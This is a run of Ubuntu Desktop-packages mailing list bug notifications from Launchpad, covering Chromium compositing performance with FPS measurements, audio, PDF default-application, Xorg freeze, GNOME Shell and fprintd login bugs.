Reported upstream in https://bugs.chromium.org/p/chromium/issues/detail?id=1198080 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1923431 Title: Chrome/Chromium is composited slower without "system title bar and borders" Status in chromium-browser package in Ubuntu: New Bug description: Chrome/Chromium is composited slower without "system title bar and borders". I had a feeling I could see a difference on my 4K monitor and weak Intel GPU. Enabling "Use system title bar and borders" eliminated stutters and gave me a smoother experience. So now I've taken some measurements from gnome-shell (CLUTTER_SHOW_FPS=1) running Chromium, not stuttering but playing a smoothly rendered video: --- Xorg Use system title bar and borders ON: *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.0ms, peak: 2.8ms *** X11 screen frame timings over 1.0s: 60.03 FPS, average: 0.9ms, peak: 2.4ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.0ms, peak: 2.2ms *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.3ms, peak: 2.9ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.5ms, peak: 2.9ms Use system title bar and borders OFF: *** X11 screen frame timings over 1.0s: 56.92 FPS, average: 3.8ms, peak: 5.7ms *** X11 screen frame timings over 1.0s: 59.94 FPS, average: 3.9ms, peak: 5.5ms *** X11 screen frame timings over 1.0s: 60.11 FPS, average: 3.7ms, peak: 4.6ms *** X11 screen frame timings over 1.0s: 59.98 FPS, average: 3.8ms, peak: 4.8ms *** X11 screen frame timings over 1.0s: 60.00 FPS, average: 3.9ms, peak: 5.4ms --- Wayland Use system title bar and borders ON: *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 0.9ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 58.95 FPS, average: 1.2ms, peak: 2.0ms *** DP-2 frame timings over 1.0s: 60.02 FPS, average: 1.0ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.0ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 60.05 FPS, average: 1.0ms, peak: 1.7ms Use system title bar and borders OFF: *** DP-2 frame timings over 1.0s: 56.99 FPS, average: 1.4ms, peak: 2.9ms *** DP-2 frame timings over 1.0s: 58.98 FPS, average: 1.7ms, peak: 2.7ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.5ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 58.04 FPS, average: 1.5ms, peak: 2.6ms *** DP-2 frame timings over 1.0s: 59.99 FPS, average: 1.3ms, peak: 2.5ms To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1923431/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1902464] Re: The rear panel of Lenovo P620 doesn't support more than one audio device at the same time
Although comment#2 is merged, this issue still needs PA corresponding (https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/290). Therefore, we will deliver a special alsa-ucm-conf on our oem-archive as short-term solution and leave it be replaced after this ticket gets the merge. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1902464 Title: The rear panel of Lenovo P620 doesn't support more than one audio device at the same time Status in HWE Next: New Status in OEM Priority Project: Confirmed Status in alsa-ucm-conf package in Ubuntu: Fix Released Status in pulseaudio package in Ubuntu: New Bug description: After backporting following patches from PA and alsa-ucm-conf and then it works. https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/290 https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/354 https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/355 https://github.com/alsa-project/alsa-ucm-conf/tree/master/ucm2/USB- Audio [landed by aa74f4c12eefcc98582572d2fc48982cf7478b51] Here is the test PPA: https://launchpad.net/~os369510/+archive/ubuntu/oem-package-test Since the upstream not yet accepted those patches, the regression potential may quite high. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1902464/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923431] Re: Chrome/Chromium is composited slower without "system title bar and borders"
Using CLUTTER_PAINT=damage-region seems to show the difference/problem is the custom window borders being repainted constantly. That doesn't happen when "Use system title bar and borders" is enabled. ** Description changed: Chrome/Chromium is composited slower without "system title bar and borders". I had a feeling I could see a difference on my 4K monitor and weak Intel GPU. Enabling "Use system title bar and borders" eliminated stutters and gave me a smoother experience. So now I've taken some measurements from - gnome-shell running Chromium, not stuttering but playing a smoothly - rendered video: + gnome-shell (CLUTTER_SHOW_FPS=1) running Chromium, not stuttering but + playing a smoothly rendered video: --- Xorg Use system title bar and borders ON: *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.0ms, peak: 2.8ms *** X11 screen frame timings over 1.0s: 60.03 FPS, average: 0.9ms, peak: 2.4ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.0ms, peak: 2.2ms *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.3ms, peak: 2.9ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.5ms, peak: 2.9ms Use system title bar and borders OFF: *** X11 screen frame timings over 1.0s: 56.92 FPS, average: 3.8ms, peak: 5.7ms *** X11 screen frame timings over 1.0s: 59.94 FPS, average: 3.9ms, peak: 5.5ms *** X11 screen frame timings over 1.0s: 60.11 FPS, average: 3.7ms, peak: 4.6ms *** X11 screen frame timings over 1.0s: 59.98 FPS, average: 3.8ms, peak: 4.8ms *** X11 screen frame timings over 1.0s: 60.00 FPS, average: 3.9ms, peak: 5.4ms --- Wayland Use system title bar and borders ON: *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 0.9ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 58.95 FPS, average: 1.2ms, peak: 2.0ms *** DP-2 frame timings over 1.0s: 60.02 FPS, average: 1.0ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.0ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 60.05 FPS, average: 1.0ms, peak: 1.7ms Use system title bar and borders OFF: *** DP-2 frame timings over 1.0s: 56.99 FPS, average: 1.4ms, peak: 2.9ms *** DP-2 frame timings over 1.0s: 58.98 FPS, average: 1.7ms, peak: 2.7ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.5ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 58.04 FPS, average: 1.5ms, peak: 2.6ms *** DP-2 frame timings over 1.0s: 59.99 FPS, average: 1.3ms, peak: 2.5ms -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1923431 Title: Chrome/Chromium is composited slower without "system title bar and borders" Status in chromium-browser package in Ubuntu: New Bug description: Chrome/Chromium is composited slower without "system title bar and borders". I had a feeling I could see a difference on my 4K monitor and weak Intel GPU. Enabling "Use system title bar and borders" eliminated stutters and gave me a smoother experience. So now I've taken some measurements from gnome-shell (CLUTTER_SHOW_FPS=1) running Chromium, not stuttering but playing a smoothly rendered video: --- Xorg Use system title bar and borders ON: *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.0ms, peak: 2.8ms *** X11 screen frame timings over 1.0s: 60.03 FPS, average: 0.9ms, peak: 2.4ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.0ms, peak: 2.2ms *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.3ms, peak: 2.9ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.5ms, peak: 2.9ms Use system title bar and borders OFF: *** X11 screen frame timings over 1.0s: 56.92 FPS, average: 3.8ms, peak: 5.7ms *** X11 screen frame timings over 1.0s: 59.94 FPS, average: 3.9ms, peak: 5.5ms *** X11 screen frame timings over 1.0s: 60.11 FPS, average: 3.7ms, peak: 4.6ms *** X11 screen frame timings over 1.0s: 59.98 FPS, average: 3.8ms, peak: 4.8ms *** X11 screen frame timings over 1.0s: 60.00 FPS, average: 3.9ms, peak: 5.4ms --- Wayland Use system title bar and borders ON: *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 0.9ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 58.95 FPS, average: 1.2ms, peak: 2.0ms *** DP-2 frame timings over 1.0s: 60.02 FPS, average: 1.0ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.0ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 60.05 FPS, average: 1.0ms, peak: 1.7ms Use system title bar and borders OFF: *** DP-2 frame timings over 1.0s: 56.99 FPS, average: 1.4ms, peak: 2.9ms *** DP-2 frame timings over 1.0s: 58.98 FPS, average: 1.7ms, peak: 2.7ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.5ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 58.04 FPS, average: 1.5ms, peak: 2.6ms *** DP-2 frame timings over 1.0s: 59.99 FPS,
[Desktop-packages] [Bug 1923431] [NEW] Chrome/Chromium is composited slower without "system title bar and borders"
Public bug reported: Chrome/Chromium is composited slower without "system title bar and borders". I had a feeling I could see a difference on my 4K monitor and weak Intel GPU. Enabling "Use system title bar and borders" eliminated stutters and gave me a smoother experience. So now I've taken some measurements from gnome-shell (CLUTTER_SHOW_FPS=1) running Chromium, not stuttering but playing a smoothly rendered video: --- Xorg Use system title bar and borders ON: *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.0ms, peak: 2.8ms *** X11 screen frame timings over 1.0s: 60.03 FPS, average: 0.9ms, peak: 2.4ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.0ms, peak: 2.2ms *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.3ms, peak: 2.9ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.5ms, peak: 2.9ms Use system title bar and borders OFF: *** X11 screen frame timings over 1.0s: 56.92 FPS, average: 3.8ms, peak: 5.7ms *** X11 screen frame timings over 1.0s: 59.94 FPS, average: 3.9ms, peak: 5.5ms *** X11 screen frame timings over 1.0s: 60.11 FPS, average: 3.7ms, peak: 4.6ms *** X11 screen frame timings over 1.0s: 59.98 FPS, average: 3.8ms, peak: 4.8ms *** X11 screen frame timings over 1.0s: 60.00 FPS, average: 3.9ms, peak: 5.4ms --- Wayland Use system title bar and borders ON: *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 0.9ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 58.95 FPS, average: 1.2ms, peak: 2.0ms *** DP-2 frame timings over 1.0s: 60.02 FPS, average: 1.0ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.0ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 60.05 FPS, average: 1.0ms, peak: 1.7ms Use system title bar and borders OFF: *** DP-2 frame timings over 1.0s: 56.99 FPS, average: 1.4ms, peak: 2.9ms *** DP-2 frame timings over 1.0s: 58.98 FPS, average: 1.7ms, peak: 2.7ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.5ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 58.04 FPS, average: 1.5ms, peak: 2.6ms *** DP-2 frame timings over 1.0s: 59.99 FPS, average: 1.3ms, peak: 2.5ms ** Affects: chromium-browser (Ubuntu) Importance: Undecided Status: New ** Tags: focal hirsute performance ** Summary changed: - Chrome/Chromium is much slower to render without "system title bar and borders" + Chrome/Chromium is composited slower without "system title bar and borders" ** Description changed: ** Description changed: - Chrome/Chromium is much slower to render without "system title bar and + Chrome/Chromium is composited slower without "system title bar and borders". I had a feeling I could see a difference on my 4K monitor and weak Intel GPU. Enabling "Use system title bar and borders" eliminated stutters and - gave me a smoother experience. So now I've taken some measurements, not - of the stuttering but from a smoothly rendered video: + gave me a smoother experience. So now I've taken some measurements from + gnome-shell running Chromium, not stuttering but playing a smoothly + rendered video: --- Xorg Use system title bar and borders ON: *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.0ms, peak: 2.8ms *** X11 screen frame timings over 1.0s: 60.03 FPS, average: 0.9ms, peak: 2.4ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.0ms, peak: 2.2ms *** X11 screen frame timings over 1.0s: 59.96 FPS, average: 1.3ms, peak: 2.9ms *** X11 screen frame timings over 1.0s: 59.99 FPS, average: 1.5ms, peak: 2.9ms Use system title bar and borders OFF: *** X11 screen frame timings over 1.0s: 56.92 FPS, average: 3.8ms, peak: 5.7ms *** X11 screen frame timings over 1.0s: 59.94 FPS, average: 3.9ms, peak: 5.5ms *** X11 screen frame timings over 1.0s: 60.11 FPS, average: 3.7ms, peak: 4.6ms *** X11 screen frame timings over 1.0s: 59.98 FPS, average: 3.8ms, peak: 4.8ms *** X11 screen frame timings over 1.0s: 60.00 FPS, average: 3.9ms, peak: 5.4ms --- Wayland Use system title bar and borders ON: *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 0.9ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 58.95 FPS, average: 1.2ms, peak: 2.0ms *** DP-2 frame timings over 1.0s: 60.02 FPS, average: 1.0ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.0ms, peak: 1.6ms *** DP-2 frame timings over 1.0s: 60.05 FPS, average: 1.0ms, peak: 1.7ms Use system title bar and borders OFF: *** DP-2 frame timings over 1.0s: 56.99 FPS, average: 1.4ms, peak: 2.9ms *** DP-2 frame timings over 1.0s: 58.98 FPS, average: 1.7ms, peak: 2.7ms *** DP-2 frame timings over 1.0s: 60.00 FPS, average: 1.5ms, peak: 2.2ms *** DP-2 frame timings over 1.0s: 58.04 FPS, average: 1.5ms, peak: 2.6ms *** DP-2 frame timings over 1.0s: 59.99 FPS, average: 1.3ms, peak: 2.5ms -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in
[Desktop-packages] [Bug 1923421] [NEW] Can't change ImageMagick as a default application for opening PDF
Public bug reported: I have ImageMagick set as the default application for opening PDF. I am trying to change the setting, but it doesn't work. ** Affects: ubuntu Importance: Undecided Status: New ** Package changed: xorg (Ubuntu) => ubuntu -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923421 Title: Can't change ImageMagick as a default application for opening PDF Status in Ubuntu: New Bug description: I have ImageMagick set as the default application for opening PDF. I am trying to change the setting, but it doesn't work. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+bug/1923421/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923397] Re: Xorg freeze
OK then we should ignore the old links above. Next please: 1. Reproduce the freeze again. 2. Wait 30 seconds. 3. Reboot. 4. Run this command: journalctl -b-1 > prevboot.txt 5. Attach the resulting text file here. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg-server package in Ubuntu: Incomplete Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923397/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1918666] Re: Cannot close the modal "Connect to Wifi" window to return to desktop
** Bug watch added: gitlab.gnome.org/GNOME/gnome-shell/-/issues #4105 https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/4105 ** Also affects: gnome-shell via https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/4105 Importance: Unknown Status: Unknown -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gjs in Ubuntu. https://bugs.launchpad.net/bugs/1918666 Title: Cannot close the modal "Connect to Wifi" window to return to desktop Status in GNOME Shell: Unknown Status in gjs package in Ubuntu: Fix Released Status in gnome-shell package in Ubuntu: Fix Released Bug description: When I select the task bar menu, click on the Wifi and select "Select to network", a modal window appears that allows me to select a Wifi network. After I have clicked on one of the networks, normally, when I click Cancel or Connect, the modal window disappears and returns me to the desktop. With the current gnome-shell, this modal window persists and I cannot access the desktop - this is both in Wayland and in X. Connect doesn't seem to work - it's like the buttons are no longer accepting clicks. The ESC key also doesn't do anything. (If I don't click on a network, the ESC key does work, and so does Cancel.) I think I once managed to get Alt-Ctrl-F1 to bring back the GDM login window, but the modal window was still there when I went back into the desktop. Alt-F2 didn't work so I couldn't try re-starting gnome-shell. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: gnome-shell 3.38.3-3ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-11.12-generic 5.11.0 Uname: Linux 5.11.0-11-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu60 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Thu Mar 11 20:35:24 2021 DisplayManager: gdm3 RelatedPackageVersions: mutter-common 3.38.3-3ubuntu2 SourcePackage: gnome-shell UpgradeStatus: Upgraded to hirsute on 2021-02-24 (15 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-shell/+bug/1918666/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1918738] Re: Regression: Onscreen Keyboard Backspace, Enter and Capitalize do not work
** Bug watch added: gitlab.gnome.org/GNOME/gnome-shell/-/issues #4104 https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/4104 ** Also affects: gnome-shell via https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/4104 Importance: Unknown Status: Unknown -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gjs in Ubuntu. https://bugs.launchpad.net/bugs/1918738 Title: Regression: Onscreen Keyboard Backspace, Enter and Capitalize do not work Status in GNOME Shell: Unknown Status in gjs package in Ubuntu: Fix Released Status in gnome-shell package in Ubuntu: Fix Released Bug description: Title pretty much says it all: I'm testing Ubuntu Hirsute (21.04), fully upgraded as of today (Gnome-shell 3.38.3) and the osk keys for Backspace, Enter and Capitalize as well as for collapsing the keyboard do not work. Pressing them just does nothing. Related logs in jouralctl output: _press@resource:///org/gnome/shell/ui/keyboard.js:337:39 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:464:22 Mär 11 23:06:02 pc gnome-shell[15039]: JS ERROR: Error: Argument wc: value is out of range for uint32 _getKeyval@resource:///org/gnome/shell/ui/keyboard.js:330:24 _release@resource:///org/gnome/shell/ui/keyboard.js:370:36 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:468:22 Mär 11 23:06:03 pc gnome-shell[15039]: JS ERROR: Error: Argument wc: value is out of range for uint32 _getKeyval@resource:///org/gnome/shell/ui/keyboard.js:330:24 _press@resource:///org/gnome/shell/ui/keyboard.js:337:39 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:464:22 Mär 11 23:06:03 pc gnome-shell[15039]: JS ERROR: Error: Argument wc: value is out of range for uint32 _getKeyval@resource:///org/gnome/shell/ui/keyboard.js:330:24 _release@resource:///org/gnome/shell/ui/keyboard.js:370:36 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:468:22 Mär 11 23:06:04 pc gnome-shell[15039]: JS ERROR: Error: Argument wc: value is out of range for uint32 _getKeyval@resource:///org/gnome/shell/ui/keyboard.js:330:24 _press@resource:///org/gnome/shell/ui/keyboard.js:337:39 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:464:22 Mär 11 23:06:04 pc gnome-shell[15039]: JS ERROR: Error: Argument wc: value is out of range for uint32 _getKeyval@resource:///org/gnome/shell/ui/keyboard.js:330:24 _release@resource:///org/gnome/shell/ui/keyboard.js:370:36 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:468:22 Mär 11 23:06:04 pc gnome-shell[15039]: JS ERROR: Error: Argument wc: value is out of range for uint32 _getKeyval@resource:///org/gnome/shell/ui/keyboard.js:330:24 _press@resource:///org/gnome/shell/ui/keyboard.js:337:39 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:464:22 Mär 11 23:06:04 pc gnome-shell[15039]: JS ERROR: Error: Argument wc: value is out of range for uint32 _getKeyval@resource:///org/gnome/shell/ui/keyboard.js:330:24 _release@resource:///org/gnome/shell/ui/keyboard.js:370:36 _makeKey/<@resource:///org/gnome/shell/ui/keyboard.js:468:22 To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-shell/+bug/1918738/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923419] [NEW] FP identification is not working immediately after entering wrong password
Public bug reported: Issue: FP identification is not working immediately after entering wrong password System prerequisite: FP enrolled on system, Identify works fine. OS: Verified on: 20.04 PPA release. • Lock the screen • Enter wrong regular password and press enter. • Observe that "please try again" error is shown. • Now try to login using enrolled FP. Observe that FP gets detected (FW uart log shows that FP is detected) but there will be no change in the login screen. • Need to enter password to login into user account or Hit enter again, login screen will show the Swipe your finger option and FP identify works. Attached the fprintd debug log. Events actions are mentioned with this symbol <==> at attached output. Post wrong password attempt, FW is immediately ready to capture the finger, but host is saying device is already claimed and acquiring after hitting enter key again. --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 20.04 InstallationDate: Installed on 2020-09-24 (200 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) Package: fprintd 1.90.9-1~ubuntu20.04.1 [origin: LP-PPA-ci-train-ppa-service-4509.1] PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 5.8.0-44.50~20.04.1-generic 5.8.18 Tags: third-party-packages focal Uname: Linux 5.8.0-44-generic x86_64 UnreportableReason: This is not an official Ubuntu package. Please remove any third party package and try again. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo _MarkForUpload: True ** Affects: fprintd (Ubuntu) Importance: Undecided Status: New ** Tags: apport-collected focal third-party-packages ** Attachment added: "CS_5267_fprintd_log.txt" https://bugs.launchpad.net/bugs/1923419/+attachment/5486821/+files/CS_5267_fprintd_log.txt ** Tags added: apport-collected focal third-party-packages ** Description changed: Issue: FP identification is not working immediately after entering wrong password System prerequisite: FP enrolled on system, Identify works fine. OS: Verified on: 20.04 PPA release. • Lock the screen • Enter wrong regular password and press enter. • Observe that "please try again" error is shown. • Now try to login using enrolled FP. Observe that FP gets detected (FW uart log shows that FP is detected) but there will be no change in the login screen. • Need to enter password to login into user account or Hit enter again, login screen will show the Swipe your finger option and FP identify works. Attached the fprintd debug log. Events actions are mentioned with this symbol <==> at attached output. Post wrong password attempt, FW is immediately ready to capture the finger, but host is saying device is already claimed and acquiring after hitting enter key again. + --- + ProblemType: Bug + ApportVersion: 2.20.11-0ubuntu27.16 + Architecture: amd64 + CasperMD5CheckResult: skip + CurrentDesktop: ubuntu:GNOME + DistroRelease: Ubuntu 20.04 + InstallationDate: Installed on 2020-09-24 (200 days ago) + InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) + Package: fprintd 1.90.9-1~ubuntu20.04.1 [origin: LP-PPA-ci-train-ppa-service-4509.1] + PackageArchitecture: amd64 + ProcVersionSignature: Ubuntu 5.8.0-44.50~20.04.1-generic 5.8.18 + Tags: third-party-packages focal + Uname: Linux 5.8.0-44-generic x86_64 + UnreportableReason: This is not an official Ubuntu package. Please remove any third party package and try again. + UpgradeStatus: No upgrade log present (probably fresh install) + UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo + _MarkForUpload: True -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to fprintd in Ubuntu. https://bugs.launchpad.net/bugs/1923419 Title: FP identification is not working immediately after entering wrong password Status in fprintd package in Ubuntu: New Bug description: Issue: FP identification is not working immediately after entering wrong password System prerequisite: FP enrolled on system, Identify works fine. OS: Verified on: 20.04 PPA release. • Lock the screen • Enter wrong regular password and press enter. • Observe that "please try again" error is shown. • Now try to login using enrolled FP. Observe that FP gets detected (FW uart log shows that FP is detected) but there will be no change in the login screen. • Need to enter password to login into user account or Hit enter again, login screen will show the Swipe your finger option and FP identify works. Attached the fprintd debug log. Events actions are mentioned with this symbol <==> at attached output. Post wrong password attempt, FW is immediately ready to
Re: [Desktop-packages] [Bug 1923397] Re: Xorg freeze
